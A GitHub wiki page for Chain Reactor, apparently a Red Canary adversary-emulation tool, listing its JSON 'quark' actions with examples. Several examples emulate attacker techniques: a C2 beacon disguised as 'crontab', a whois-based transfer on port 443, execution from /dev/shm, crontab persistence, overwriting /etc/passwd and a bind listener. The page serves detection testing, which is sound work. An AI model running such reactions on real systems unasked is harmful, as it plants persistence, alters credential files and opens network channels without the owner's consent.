-
Notifications
You must be signed in to change notification settings - Fork 32
Quark types
Adam Mashinchi edited this page Feb 24, 2022
·
3 revisions
A list of available quark types with examples.
- Contents
- chmod, fchmod, fchmodat
- chown, fchown, fchownat, lchown
- connect
- copy
- execve, execveat
- file-append
- file-create
- file-touch
- fork-and-rename
- listen
- remove
- sleep
Change the access permissions of a file.
"chmod" : { "path" : "<file>", "mode" : "<mode>" }
-
mode
must be a octal-formatted string.
{
"name" : "CHMOD-EXISTING-FILE",
"chmod" : { "path" : "/tmp/cr.path.test", "mode" : "600" },
"fchmod" : { "path" : "/tmp/cr.descriptor.test", "mode" : "060" },
"fchmodat" : { "path" : "/tmp/cr.at.test", "mode" : "606" }
}
Change the ownership of a file.
"chown" : { "path" : "<path>", "user" : "<user>", "group" : "<group>" }
-
user
andgroup
are strings and must encode valid names or numbers. - You might need elevated permissions to change file ownership.
{
"name" : "CHOWN-EXISTING-FILE",
"chown" : { "path" : "/tmp/cr.path.test", "user" : "1000", "group" : "nogroup" },
"fchown" : { "path" : "/tmp/cr.descriptor.test", "user" : "1000", "group" : "nogroup" },
"fchownat" : { "path" : "/tmp/cr.at.test", "user" : "1000", "group" : "nogroup" },
"lchown" : { "path" : "/tmp/cr.link.test", "user" : "1000", "group" : "nogroup" }
}
Establish a network connection and send 512 random bytes.
"connect" : { "method": "<method>", "protocol": "<protocol>", "address": "<address>", "port": <port> }
-
method
must besocketcall
orsyscall
.-
socketcall
uses thesocketcall
ABI. -
syscall
uses thesocket
,connect
, andsend
system calls for TCP connections, and thesocket
andsendto
system calls for UDP connections.
-
-
protocol
must betcp4
,tcp6
,udp4
, orudp6
. -
address
must be a valid DNS, IPV4, or IPV6 address. -
port
must be a valid port number.
{
"name" : "C2-BEACON",
"fork-and-rename" : [ "crontab" ],
"connect" : { "method": "socketcall", "protocol": "tcp4", "address": "google.com", "port": 443 }
}
Copy a file.
"copy" : [ "<file>", "<destination>" ]
- If
destination
exists, the reaction overwrites it. -
copy
can't operate on directories.
{
"name" : "LINUX-SHM-DIR-EXECUTION",
"copy" : [ "/proc/self/exe", "/dev/shm/chain_reactor" ],
"execve" : [ "/dev/shm/chain_reactor", "exit" ],
"remove" : [ "/dev/shm/chain_reactor" ]
}
Execute a program with command-line arguments.
"execve" : [ "<program>", "<arg1>", "<arg2>", ..., "<argN>" ]
- Chain Reactor includes PATH in its search for
program
. - Chain Reactor redirects the standard input, output, and error to
/dev/null
. - The reaction pauses until the process created by
execve
orexecveat
terminates. -
Note:
execveat
requires Linux kernel version 3.19 or higher.
{
"name" : "NIX-WHOIS-TRANSFER",
"execve" : [ "whois", "-h", "redcanary.com", "-p", "443", "iioo" ],
"execveat" : [ "whois", "-h", "redcanary.com", "-p", "443", "iioo" ]
}
Append data to an existing file.
"file-append" : { "path" : "<file>", data : "<payload>", backup-and-revert : <boolean> }
-
payload
can be a string or a path to a file.- If
payload
is a string, all escape sequences are converted to binary. - Any files included as part of the payload are read at compilation time and baked into the reaction executable.
- If
- If
backup-and-revert
istrue
, Chain Reactor creates a backup of the file specified byfile
.
{
"name" : "PERSIST_CRONTAB",
"file-append" : { "path" : "/etc/crontab", data : "\n1 * * * * root /var/www/malware-r-us/userkit\n", backup-and-revert : true },
}
Create a file with data.
"file-create" : { "path" : "<file>", data : "<payload>", backup-and-revert : <boolean> }
-
payload
can be a string or a path to a file.- If
payload
is a string, all escape sequences are converted to binary. - Any files included as part of the payload are read at compilation time and baked into the reaction executable.
- If
- If
backup-and-revert
istrue
, Chain Reactor creates a backup of the file specified byfile
.
{
"name" : "TOUCH-TMP-TRUNCATE-IF-EXISTS",
"file-create" : { "path" : "/tmp/cr.test", data : "Hello World!\n", backup-and-revert : false },
"file-create" : { "path" : "/etc/passwd", data : "/etc/passwd", backup-and-revert : true }
}
Create an empty file.
"file-touch" : { "path" : "<file>" }
- If
file
already exists,file-touch
does nothing.
{
"name" : "TOUCH-TMP-NEW-FILE",
"file-touch" : { "path" : "/tmp/cr.test" }
}
Execute Chain Reactor under a different name.
"fork-and-rename" : [ "<name>", "<arg1>", "<arg2>", ..., "<argN>" ]
- The reaction creates a new process, copies the Chain Reactor executable to a
temporary directory, and runs the executable as
name
. - Subsequent quarks execute in the new process.
- You can use
fork-and-rename
repeatedly to create multiple child processes.
{
"name" : "NIX-WHOIS-TRANSFER-FAKE",
"fork-and-rename" : [ "whois", "-h", "redcanary.com", "-p", "443", "iioo" ],
"connect" : { "method": "socketcall", "protocol": "tcp4", "address": "redcanary.com", "port": 443 }
}
Listen for a network connection.
"listen" : { "method": "<method>", "protocol": "<protocol>, "address": "<address>", "port": <port> }
- Chain Reactor forks and performs an implicit
connect
to simulate a network connection. - You might need elevated permissions to listen for a network connection.
-
method
must besocketcall
orsyscall
.-
socketcall
uses thesocketcall
ABI. -
syscall
uses thesocket
,bind
,listen
,accept4
, andrecv
system calls for TCP connections, and thesocket
,bind
, andrecv
system calls for UDP connections.
-
-
protocol
must betcp4
,tcp6
,udp4
, orudp6
. -
address
must be0.0.0.0
,::/0
,127.0.0.1
, or::1/128
. -
port
must be a valid port number.
{
"name" : "C2-BIND",
"fork-and-rename" : [ "crontab" ],
"listen" : { "method": "socketcall", "protocol": "udp4", "address": "0.0.0.0", "port": 443 }
}
Delete any number of files or directories.
"remove" : [ "<path1>", "<path2>", ..., "<pathN>" ]
-
remove
doesn't generate errors. -
Caution: Deletion is permanent. Exercise the same caution with
remove
as withrm -rf
.
{
"name" : "LINUX-SHM-DIR-EXECUTION",
"copy" : [ "/proc/self/exe", "/dev/shm/chain_reactor" ],
"execve" : [ "/dev/shm/chain_reactor", "exit" ],
"remove" : [ "/dev/shm/chain_reactor" ]
}
Sleep for a specified number of seconds.
"sleep" : <integer>
{
"name" : "SLEEP-FOR-TEN-SECONDS",
"sleep" : 10
}
Questions? Get connected to the community on the Atomic Red Team Slack channel